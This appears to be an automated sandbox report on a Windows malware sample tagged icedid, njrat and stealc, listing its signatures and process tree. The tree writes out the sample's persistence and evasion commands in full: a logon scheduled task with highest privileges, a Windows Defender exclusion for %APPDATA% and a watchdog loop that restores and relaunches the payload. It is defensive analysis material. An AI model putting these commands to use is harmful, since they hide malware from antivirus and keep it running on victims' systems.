Overview

overview

8

Static

static

3

2026-06-29...lc.exe

windows10-2004-x64

8

2026-06-29...lc.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    120s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/06/2026, 03:29

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-06-29_cbd22bf6154e44173d5ac7ce0d680d01_icedid_njrat_stealc.exe
  • Size 7.0MB
  • Sample260630-d17v1set2l
  • SHA256 7caedf90714e38aeea5f2355b0fc5a257fe6c21e8905f4edf11a7cfe0256375a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasiondiscoveryexecutionpersistencespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 2 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates processes with tasklist 1 TTPs 58 IoCs
    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 58 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-29_cbd22bf6154e44173d5ac7ce0d680d01_icedid_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-29_cbd22bf6154e44173d5ac7ce0d680d01_icedid_njrat_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2372
      • C:\Windows\system32\schtasks.exe
        schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3224
    • C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
      "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3396
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4952
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1908
        • C:\Windows\system32\tasklist.exe
          tasklist
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:5516
        • C:\Windows\system32\find.exe
          find /i "PeerService.exe"
          4⤵
            PID:1428
          • C:\Windows\system32\timeout.exe
            timeout /t 5
            4⤵
            • Delays execution with timeout.exe
            PID:5844
          • C:\Windows\system32\tasklist.exe
            tasklist
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3460
          • C:\Windows\system32\find.exe
            find /i "PeerService.exe"
            4⤵
              PID:2340
            • C:\Windows\system32\timeout.exe
              timeout /t 5
              4⤵
              • Delays execution with timeout.exe
              PID:4268
            • C:\Windows\system32\tasklist.exe
              tasklist
              4⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:1872
            • C:\Windows\system32\find.exe
              find /i "PeerService.exe"
              4⤵
                PID:2408
              • C:\Windows\system32\timeout.exe
                timeout /t 5
                4⤵
                • Delays execution with timeout.exe
                PID:2576
              • C:\Windows\system32\tasklist.exe
                tasklist
                4⤵
                • Enumerates processes with tasklist
                • Suspicious use of AdjustPrivilegeToken
                PID:1568
              • C:\Windows\system32\find.exe
                find /i "PeerService.exe"
                4⤵
                  PID:8
                • C:\Windows\system32\timeout.exe
                  timeout /t 5
                  4⤵
                  • Delays execution with timeout.exe
                  PID:3444
                • C:\Windows\system32\tasklist.exe
                  tasklist
                  4⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:776
                • C:\Windows\system32\find.exe
                  find /i "PeerService.exe"
                  4⤵
                    PID:1248
                  • C:\Windows\system32\timeout.exe
                    timeout /t 5
                    4⤵
                    • Delays execution with timeout.exe
                    PID:4372
                  • C:\Windows\system32\tasklist.exe
                    tasklist
                    4⤵
                    • Enumerates processes with tasklist
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1584
                  • C:\Windows\system32\find.exe
                    find /i "PeerService.exe"
                    4⤵
                      PID:5376
                    • C:\Windows\system32\timeout.exe
                      timeout /t 5
                      4⤵
                      • Delays execution with timeout.exe
                      PID:1020
                    • C:\Windows\system32\tasklist.exe
                      tasklist
                      4⤵
                      • Enumerates processes with tasklist
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4500
                    • C:\Windows\system32\find.exe
                      find /i "PeerService.exe"
                      4⤵
                        PID:5632
                      • C:\Windows\system32\timeout.exe
                        timeout /t 5
                        4⤵
                        • Delays execution with timeout.exe
                        PID:4224
                      • C:\Windows\system32\tasklist.exe
                        tasklist
                        4⤵
                        • Enumerates processes with tasklist
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3852
                      • C:\Windows\system32\find.exe
                        find /i "PeerService.exe"
                        4⤵
                          PID:1172
                        • C:\Windows\system32\timeout.exe
                          timeout /t 5
                          4⤵
                          • Delays execution with timeout.exe
                          PID:972
                        • C:\Windows\system32\tasklist.exe
                          tasklist
                          4⤵
                          • Enumerates processes with tasklist
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2220
                        • C:\Windows\system32\find.exe
                          find /i "PeerService.exe"
                          4⤵
                            PID:1708
                          • C:\Windows\system32\timeout.exe
                            timeout /t 5
                            4⤵
                            • Delays execution with timeout.exe
                            PID:4960
                          • C:\Windows\system32\tasklist.exe
                            tasklist
                            4⤵
                            • Enumerates processes with tasklist
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5452
                          • C:\Windows\system32\find.exe
                            find /i "PeerService.exe"
                            4⤵
                              PID:3284
                            • C:\Windows\system32\timeout.exe
                              timeout /t 5
                              4⤵
                              • Delays execution with timeout.exe
                              PID:700
                            • C:\Windows\system32\tasklist.exe
                              tasklist
                              4⤵
                              • Enumerates processes with tasklist
                              PID:1556
                            • C:\Windows\system32\find.exe
                              find /i "PeerService.exe"
                              4⤵
                                PID:2980
                              • C:\Windows\system32\timeout.exe
                                timeout /t 5
                                4⤵
                                • Delays execution with timeout.exe
                                PID:2860
                              • C:\Windows\system32\tasklist.exe
                                tasklist
                                4⤵
                                • Enumerates processes with tasklist
                                PID:2020
                              • C:\Windows\system32\find.exe
                                find /i "PeerService.exe"
                                4⤵
                                  PID:4616
                                • C:\Windows\system32\timeout.exe
                                  timeout /t 5
                                  4⤵
                                  • Delays execution with timeout.exe
                                  PID:3168
                                • C:\Windows\system32\tasklist.exe
                                  tasklist
                                  4⤵
                                  • Enumerates processes with tasklist
                                  PID:2576
                                • C:\Windows\system32\find.exe
                                  find /i "PeerService.exe"
                                  4⤵
                                    PID:4076
                                  • C:\Windows\system32\timeout.exe
                                    timeout /t 5
                                    4⤵
                                    • Delays execution with timeout.exe
                                    PID:4628
                                  • C:\Windows\system32\tasklist.exe
                                    tasklist
                                    4⤵
                                    • Enumerates processes with tasklist
                                    PID:2076
                                  • C:\Windows\system32\find.exe
                                    find /i "PeerService.exe"
                                    4⤵
                                      PID:2656
                                    • C:\Windows\system32\timeout.exe
                                      timeout /t 5
                                      4⤵
                                      • Delays execution with timeout.exe
                                      PID:5872
                                    • C:\Windows\system32\tasklist.exe
                                      tasklist
                                      4⤵
                                      • Enumerates processes with tasklist
                                      PID:4884
                                    • C:\Windows\system32\find.exe
                                      find /i "PeerService.exe"
                                      4⤵
                                        PID:4720
                                      • C:\Windows\system32\timeout.exe
                                        timeout /t 5
                                        4⤵
                                        • Delays execution with timeout.exe
                                        PID:5844
                                      • C:\Windows\system32\tasklist.exe
                                        tasklist
                                        4⤵
                                        • Enumerates processes with tasklist
                                        PID:4712
                                      • C:\Windows\system32\find.exe
                                        find /i "PeerService.exe"
                                        4⤵
                                          PID:5740
                                        • C:\Windows\system32\timeout.exe
                                          timeout /t 5
                                          4⤵
                                          • Delays execution with timeout.exe
                                          PID:6140
                                        • C:\Windows\system32\tasklist.exe
                                          tasklist
                                          4⤵
                                          • Enumerates processes with tasklist
                                          PID:1504
                                        • C:\Windows\system32\find.exe
                                          find /i "PeerService.exe"
                                          4⤵
                                            PID:3180
                                          • C:\Windows\system32\timeout.exe
                                            timeout /t 5
                                            4⤵
                                            • Delays execution with timeout.exe
                                            PID:5984
                                          • C:\Windows\system32\tasklist.exe
                                            tasklist
                                            4⤵
                                            • Enumerates processes with tasklist
                                            PID:1196
                                          • C:\Windows\system32\find.exe
                                            find /i "PeerService.exe"
                                            4⤵
                                              PID:5548
                                            • C:\Windows\system32\timeout.exe
                                              timeout /t 5
                                              4⤵
                                              • Delays execution with timeout.exe
                                              PID:4288
                                            • C:\Windows\system32\tasklist.exe
                                              tasklist
                                              4⤵
                                              • Enumerates processes with tasklist
                                              PID:972
                                            • C:\Windows\system32\find.exe
                                              find /i "PeerService.exe"
                                              4⤵
                                                PID:5768
                                              • C:\Windows\system32\timeout.exe
                                                timeout /t 5
                                                4⤵
                                                • Delays execution with timeout.exe
                                                PID:4228
                                              • C:\Windows\system32\tasklist.exe
                                                tasklist
                                                4⤵
                                                • Enumerates processes with tasklist
                                                PID:4108
                                              • C:\Windows\system32\find.exe
                                                find /i "PeerService.exe"
                                                4⤵
                                                  PID:2892
                                                • C:\Windows\system32\timeout.exe
                                                  timeout /t 5
                                                  4⤵
                                                  • Delays execution with timeout.exe
                                                  PID:2392
                                                • C:\Windows\system32\tasklist.exe
                                                  tasklist
                                                  4⤵
                                                  • Enumerates processes with tasklist
                                                  PID:4380
                                                • C:\Windows\system32\find.exe
                                                  find /i "PeerService.exe"
                                                  4⤵
                                                    PID:3016
                                                  • C:\Windows\system32\timeout.exe
                                                    timeout /t 5
                                                    4⤵
                                                    • Delays execution with timeout.exe
                                                    PID:2576
                                                  • C:\Windows\system32\tasklist.exe
                                                    tasklist
                                                    4⤵
                                                    • Enumerates processes with tasklist
                                                    PID:2980
                                                  • C:\Windows\system32\find.exe
                                                    find /i "PeerService.exe"
                                                    4⤵
                                                      PID:4556
                                                    • C:\Windows\system32\timeout.exe
                                                      timeout /t 5
                                                      4⤵
                                                      • Delays execution with timeout.exe
                                                      PID:4480
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist
                                                      4⤵
                                                      • Enumerates processes with tasklist
                                                      PID:800
                                                    • C:\Windows\system32\find.exe
                                                      find /i "PeerService.exe"
                                                      4⤵
                                                        PID:3004
                                                      • C:\Windows\system32\timeout.exe
                                                        timeout /t 5
                                                        4⤵
                                                        • Delays execution with timeout.exe
                                                        PID:3172
                                                      • C:\Windows\system32\tasklist.exe
                                                        tasklist
                                                        4⤵
                                                        • Enumerates processes with tasklist
                                                        PID:3044
                                                      • C:\Windows\system32\find.exe
                                                        find /i "PeerService.exe"
                                                        4⤵
                                                          PID:576
                                                        • C:\Windows\system32\timeout.exe
                                                          timeout /t 5
                                                          4⤵
                                                          • Delays execution with timeout.exe
                                                          PID:4892
                                                        • C:\Windows\system32\tasklist.exe
                                                          tasklist
                                                          4⤵
                                                          • Enumerates processes with tasklist
                                                          PID:4200
                                                        • C:\Windows\system32\find.exe
                                                          find /i "PeerService.exe"
                                                          4⤵
                                                            PID:1152
                                                          • C:\Windows\system32\timeout.exe
                                                            timeout /t 5
                                                            4⤵
                                                            • Delays execution with timeout.exe
                                                            PID:1248
                                                          • C:\Windows\system32\tasklist.exe
                                                            tasklist
                                                            4⤵
                                                            • Enumerates processes with tasklist
                                                            PID:4520
                                                          • C:\Windows\system32\find.exe
                                                            find /i "PeerService.exe"
                                                            4⤵
                                                              PID:5556
                                                            • C:\Windows\system32\timeout.exe
                                                              timeout /t 5
                                                              4⤵
                                                              • Delays execution with timeout.exe
                                                              PID:4680
                                                            • C:\Windows\system32\tasklist.exe
                                                              tasklist
                                                              4⤵
                                                              • Enumerates processes with tasklist
                                                              PID:1112
                                                            • C:\Windows\system32\find.exe
                                                              find /i "PeerService.exe"
                                                              4⤵
                                                                PID:2532
                                                              • C:\Windows\system32\timeout.exe
                                                                timeout /t 5
                                                                4⤵
                                                                • Delays execution with timeout.exe
                                                                PID:4904
                                                              • C:\Windows\system32\tasklist.exe
                                                                tasklist
                                                                4⤵
                                                                • Enumerates processes with tasklist
                                                                PID:2548
                                                              • C:\Windows\system32\find.exe
                                                                find /i "PeerService.exe"
                                                                4⤵
                                                                  PID:3000
                                                                • C:\Windows\system32\timeout.exe
                                                                  timeout /t 5
                                                                  4⤵
                                                                  • Delays execution with timeout.exe
                                                                  PID:4332
                                                                • C:\Windows\system32\tasklist.exe
                                                                  tasklist
                                                                  4⤵
                                                                  • Enumerates processes with tasklist
                                                                  PID:5048
                                                                • C:\Windows\system32\find.exe
                                                                  find /i "PeerService.exe"
                                                                  4⤵
                                                                    PID:3060
                                                                  • C:\Windows\system32\timeout.exe
                                                                    timeout /t 5
                                                                    4⤵
                                                                    • Delays execution with timeout.exe
                                                                    PID:1780
                                                            • C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
                                                              C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
                                                              1⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:2824
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:4700
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
                                                                  3⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5840
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:3788
                                                                • C:\Windows\System32\tasklist.exe
                                                                  tasklist
                                                                  3⤵
                                                                  • Enumerates processes with tasklist
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5976
                                                                • C:\Windows\System32\find.exe
                                                                  find /i "PeerService.exe"
                                                                  3⤵
                                                                    PID:2264
                                                                  • C:\Windows\System32\timeout.exe
                                                                    timeout /t 5
                                                                    3⤵
                                                                    • Delays execution with timeout.exe
                                                                    PID:1096
                                                                  • C:\Windows\System32\tasklist.exe
                                                                    tasklist
                                                                    3⤵
                                                                    • Enumerates processes with tasklist
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2168
                                                                  • C:\Windows\System32\find.exe
                                                                    find /i "PeerService.exe"
                                                                    3⤵
                                                                      PID:5560
                                                                    • C:\Windows\System32\timeout.exe
                                                                      timeout /t 5
                                                                      3⤵
                                                                      • Delays execution with timeout.exe
                                                                      PID:3568
                                                                    • C:\Windows\System32\tasklist.exe
                                                                      tasklist
                                                                      3⤵
                                                                      • Enumerates processes with tasklist
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:4620
                                                                    • C:\Windows\System32\find.exe
                                                                      find /i "PeerService.exe"
                                                                      3⤵
                                                                        PID:5380
                                                                      • C:\Windows\System32\timeout.exe
                                                                        timeout /t 5
                                                                        3⤵
                                                                        • Delays execution with timeout.exe
                                                                        PID:2108
                                                                      • C:\Windows\System32\tasklist.exe
                                                                        tasklist
                                                                        3⤵
                                                                        • Enumerates processes with tasklist
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:3940
                                                                      • C:\Windows\System32\find.exe
                                                                        find /i "PeerService.exe"
                                                                        3⤵
                                                                          PID:5908
                                                                        • C:\Windows\System32\timeout.exe
                                                                          timeout /t 5
                                                                          3⤵
                                                                          • Delays execution with timeout.exe
                                                                          PID:5400
                                                                        • C:\Windows\System32\tasklist.exe
                                                                          tasklist
                                                                          3⤵
                                                                          • Enumerates processes with tasklist
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:5848
                                                                        • C:\Windows\System32\find.exe
                                                                          find /i "PeerService.exe"
                                                                          3⤵
                                                                            PID:2996
                                                                          • C:\Windows\System32\timeout.exe
                                                                            timeout /t 5
                                                                            3⤵
                                                                            • Delays execution with timeout.exe
                                                                            PID:4232
                                                                          • C:\Windows\System32\tasklist.exe
                                                                            tasklist
                                                                            3⤵
                                                                            • Enumerates processes with tasklist
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4744
                                                                          • C:\Windows\System32\find.exe
                                                                            find /i "PeerService.exe"
                                                                            3⤵
                                                                              PID:1672
                                                                            • C:\Windows\System32\timeout.exe
                                                                              timeout /t 5
                                                                              3⤵
                                                                              • Delays execution with timeout.exe
                                                                              PID:1936
                                                                            • C:\Windows\System32\tasklist.exe
                                                                              tasklist
                                                                              3⤵
                                                                              • Enumerates processes with tasklist
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2604
                                                                            • C:\Windows\System32\find.exe
                                                                              find /i "PeerService.exe"
                                                                              3⤵
                                                                                PID:5992
                                                                              • C:\Windows\System32\timeout.exe
                                                                                timeout /t 5
                                                                                3⤵
                                                                                • Delays execution with timeout.exe
                                                                                PID:5500
                                                                              • C:\Windows\System32\tasklist.exe
                                                                                tasklist
                                                                                3⤵
                                                                                • Enumerates processes with tasklist
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:2856
                                                                              • C:\Windows\System32\find.exe
                                                                                find /i "PeerService.exe"
                                                                                3⤵
                                                                                  PID:3636
                                                                                • C:\Windows\System32\timeout.exe
                                                                                  timeout /t 5
                                                                                  3⤵
                                                                                  • Delays execution with timeout.exe
                                                                                  PID:3188
                                                                                • C:\Windows\System32\tasklist.exe
                                                                                  tasklist
                                                                                  3⤵
                                                                                  • Enumerates processes with tasklist
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:5548
                                                                                • C:\Windows\System32\find.exe
                                                                                  find /i "PeerService.exe"
                                                                                  3⤵
                                                                                    PID:1008
                                                                                  • C:\Windows\System32\timeout.exe
                                                                                    timeout /t 5
                                                                                    3⤵
                                                                                    • Delays execution with timeout.exe
                                                                                    PID:3520
                                                                                  • C:\Windows\System32\tasklist.exe
                                                                                    tasklist
                                                                                    3⤵
                                                                                    • Enumerates processes with tasklist
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:3672
                                                                                  • C:\Windows\System32\find.exe
                                                                                    find /i "PeerService.exe"
                                                                                    3⤵
                                                                                      PID:4948
                                                                                    • C:\Windows\System32\timeout.exe
                                                                                      timeout /t 5
                                                                                      3⤵
                                                                                      • Delays execution with timeout.exe
                                                                                      PID:5996
                                                                                    • C:\Windows\System32\tasklist.exe
                                                                                      tasklist
                                                                                      3⤵
                                                                                      • Enumerates processes with tasklist
                                                                                      PID:4640
                                                                                    • C:\Windows\System32\find.exe
                                                                                      find /i "PeerService.exe"
                                                                                      3⤵
                                                                                        PID:2076
                                                                                      • C:\Windows\System32\timeout.exe
                                                                                        timeout /t 5
                                                                                        3⤵
                                                                                        • Delays execution with timeout.exe
                                                                                        PID:920
                                                                                      • C:\Windows\System32\tasklist.exe
                                                                                        tasklist
                                                                                        3⤵
                                                                                        • Enumerates processes with tasklist
                                                                                        PID:1296
                                                                                      • C:\Windows\System32\find.exe
                                                                                        find /i "PeerService.exe"
                                                                                        3⤵
                                                                                          PID:3188
                                                                                        • C:\Windows\System32\timeout.exe
                                                                                          timeout /t 5
                                                                                          3⤵
                                                                                          • Delays execution with timeout.exe
                                                                                          PID:2496
                                                                                        • C:\Windows\System32\tasklist.exe
                                                                                          tasklist
                                                                                          3⤵
                                                                                          • Enumerates processes with tasklist
                                                                                          PID:1556
                                                                                        • C:\Windows\System32\find.exe
                                                                                          find /i "PeerService.exe"
                                                                                          3⤵
                                                                                            PID:2980
                                                                                          • C:\Windows\System32\timeout.exe
                                                                                            timeout /t 5
                                                                                            3⤵
                                                                                            • Delays execution with timeout.exe
                                                                                            PID:4968
                                                                                          • C:\Windows\System32\tasklist.exe
                                                                                            tasklist
                                                                                            3⤵
                                                                                            • Enumerates processes with tasklist
                                                                                            PID:5852
                                                                                          • C:\Windows\System32\find.exe
                                                                                            find /i "PeerService.exe"
                                                                                            3⤵
                                                                                              PID:4812
                                                                                            • C:\Windows\System32\timeout.exe
                                                                                              timeout /t 5
                                                                                              3⤵
                                                                                              • Delays execution with timeout.exe
                                                                                              PID:5084
                                                                                            • C:\Windows\System32\tasklist.exe
                                                                                              tasklist
                                                                                              3⤵
                                                                                              • Enumerates processes with tasklist
                                                                                              PID:1380
                                                                                            • C:\Windows\System32\find.exe
                                                                                              find /i "PeerService.exe"
                                                                                              3⤵
                                                                                                PID:5620
                                                                                              • C:\Windows\System32\timeout.exe
                                                                                                timeout /t 5
                                                                                                3⤵
                                                                                                • Delays execution with timeout.exe
                                                                                                PID:3584
                                                                                              • C:\Windows\System32\tasklist.exe
                                                                                                tasklist
                                                                                                3⤵
                                                                                                • Enumerates processes with tasklist
                                                                                                PID:5352
                                                                                              • C:\Windows\System32\find.exe
                                                                                                find /i "PeerService.exe"
                                                                                                3⤵
                                                                                                  PID:3540
                                                                                                • C:\Windows\System32\timeout.exe
                                                                                                  timeout /t 5
                                                                                                  3⤵
                                                                                                  • Delays execution with timeout.exe
                                                                                                  PID:2848
                                                                                                • C:\Windows\System32\tasklist.exe
                                                                                                  tasklist
                                                                                                  3⤵
                                                                                                  • Enumerates processes with tasklist
                                                                                                  PID:4976
                                                                                                • C:\Windows\System32\find.exe
                                                                                                  find /i "PeerService.exe"
                                                                                                  3⤵
                                                                                                    PID:6080
                                                                                                  • C:\Windows\System32\timeout.exe
                                                                                                    timeout /t 5
                                                                                                    3⤵
                                                                                                    • Delays execution with timeout.exe
                                                                                                    PID:1844
                                                                                                  • C:\Windows\System32\tasklist.exe
                                                                                                    tasklist
                                                                                                    3⤵
                                                                                                    • Enumerates processes with tasklist
                                                                                                    PID:432
                                                                                                  • C:\Windows\System32\find.exe
                                                                                                    find /i "PeerService.exe"
                                                                                                    3⤵
                                                                                                      PID:864
                                                                                                    • C:\Windows\System32\timeout.exe
                                                                                                      timeout /t 5
                                                                                                      3⤵
                                                                                                      • Delays execution with timeout.exe
                                                                                                      PID:1440
                                                                                                    • C:\Windows\System32\tasklist.exe
                                                                                                      tasklist
                                                                                                      3⤵
                                                                                                      • Enumerates processes with tasklist
                                                                                                      PID:5288
                                                                                                    • C:\Windows\System32\find.exe
                                                                                                      find /i "PeerService.exe"
                                                                                                      3⤵
                                                                                                        PID:3360
                                                                                                      • C:\Windows\System32\timeout.exe
                                                                                                        timeout /t 5
                                                                                                        3⤵
                                                                                                        • Delays execution with timeout.exe
                                                                                                        PID:4472
                                                                                                      • C:\Windows\System32\tasklist.exe
                                                                                                        tasklist
                                                                                                        3⤵
                                                                                                        • Enumerates processes with tasklist
                                                                                                        PID:2944
                                                                                                      • C:\Windows\System32\find.exe
                                                                                                        find /i "PeerService.exe"
                                                                                                        3⤵
                                                                                                          PID:4160
                                                                                                        • C:\Windows\System32\timeout.exe
                                                                                                          timeout /t 5
                                                                                                          3⤵
                                                                                                          • Delays execution with timeout.exe
                                                                                                          PID:3512
                                                                                                        • C:\Windows\System32\tasklist.exe
                                                                                                          tasklist
                                                                                                          3⤵
                                                                                                          • Enumerates processes with tasklist
                                                                                                          PID:4356
                                                                                                        • C:\Windows\System32\find.exe
                                                                                                          find /i "PeerService.exe"
                                                                                                          3⤵
                                                                                                            PID:4552
                                                                                                          • C:\Windows\System32\timeout.exe
                                                                                                            timeout /t 5
                                                                                                            3⤵
                                                                                                            • Delays execution with timeout.exe
                                                                                                            PID:4504
                                                                                                          • C:\Windows\System32\tasklist.exe
                                                                                                            tasklist
                                                                                                            3⤵
                                                                                                            • Enumerates processes with tasklist
                                                                                                            PID:3732
                                                                                                          • C:\Windows\System32\find.exe
                                                                                                            find /i "PeerService.exe"
                                                                                                            3⤵
                                                                                                              PID:1304
                                                                                                            • C:\Windows\System32\timeout.exe
                                                                                                              timeout /t 5
                                                                                                              3⤵
                                                                                                              • Delays execution with timeout.exe
                                                                                                              PID:4568
                                                                                                            • C:\Windows\System32\tasklist.exe
                                                                                                              tasklist
                                                                                                              3⤵
                                                                                                              • Enumerates processes with tasklist
                                                                                                              PID:3504
                                                                                                            • C:\Windows\System32\find.exe
                                                                                                              find /i "PeerService.exe"
                                                                                                              3⤵
                                                                                                                PID:3252
                                                                                                              • C:\Windows\System32\timeout.exe
                                                                                                                timeout /t 5
                                                                                                                3⤵
                                                                                                                • Delays execution with timeout.exe
                                                                                                                PID:4844
                                                                                                              • C:\Windows\System32\tasklist.exe
                                                                                                                tasklist
                                                                                                                3⤵
                                                                                                                • Enumerates processes with tasklist
                                                                                                                PID:4720
                                                                                                              • C:\Windows\System32\find.exe
                                                                                                                find /i "PeerService.exe"
                                                                                                                3⤵
                                                                                                                  PID:5112
                                                                                                                • C:\Windows\System32\timeout.exe
                                                                                                                  timeout /t 5
                                                                                                                  3⤵
                                                                                                                  • Delays execution with timeout.exe
                                                                                                                  PID:4860
                                                                                                                • C:\Windows\System32\tasklist.exe
                                                                                                                  tasklist
                                                                                                                  3⤵
                                                                                                                  • Enumerates processes with tasklist
                                                                                                                  PID:5352
                                                                                                                • C:\Windows\System32\find.exe
                                                                                                                  find /i "PeerService.exe"
                                                                                                                  3⤵
                                                                                                                    PID:3540
                                                                                                                  • C:\Windows\System32\timeout.exe
                                                                                                                    timeout /t 5
                                                                                                                    3⤵
                                                                                                                    • Delays execution with timeout.exe
                                                                                                                    PID:3852
                                                                                                                  • C:\Windows\System32\tasklist.exe
                                                                                                                    tasklist
                                                                                                                    3⤵
                                                                                                                    • Enumerates processes with tasklist
                                                                                                                    PID:1132
                                                                                                                  • C:\Windows\System32\find.exe
                                                                                                                    find /i "PeerService.exe"
                                                                                                                    3⤵
                                                                                                                      PID:4784
                                                                                                                    • C:\Windows\System32\timeout.exe
                                                                                                                      timeout /t 5
                                                                                                                      3⤵
                                                                                                                      • Delays execution with timeout.exe
                                                                                                                      PID:6024
                                                                                                                    • C:\Windows\System32\tasklist.exe
                                                                                                                      tasklist
                                                                                                                      3⤵
                                                                                                                      • Enumerates processes with tasklist
                                                                                                                      PID:4224
                                                                                                                    • C:\Windows\System32\find.exe
                                                                                                                      find /i "PeerService.exe"
                                                                                                                      3⤵
                                                                                                                        PID:1844
                                                                                                                      • C:\Windows\System32\timeout.exe
                                                                                                                        timeout /t 5
                                                                                                                        3⤵
                                                                                                                        • Delays execution with timeout.exe
                                                                                                                        PID:1008
                                                                                                                      • C:\Windows\System32\tasklist.exe
                                                                                                                        tasklist
                                                                                                                        3⤵
                                                                                                                        • Enumerates processes with tasklist
                                                                                                                        PID:6068
                                                                                                                      • C:\Windows\System32\find.exe
                                                                                                                        find /i "PeerService.exe"
                                                                                                                        3⤵
                                                                                                                          PID:5304
                                                                                                                        • C:\Windows\System32\timeout.exe
                                                                                                                          timeout /t 5
                                                                                                                          3⤵
                                                                                                                          • Delays execution with timeout.exe
                                                                                                                          PID:5660
                                                                                                                        • C:\Windows\System32\tasklist.exe
                                                                                                                          tasklist
                                                                                                                          3⤵
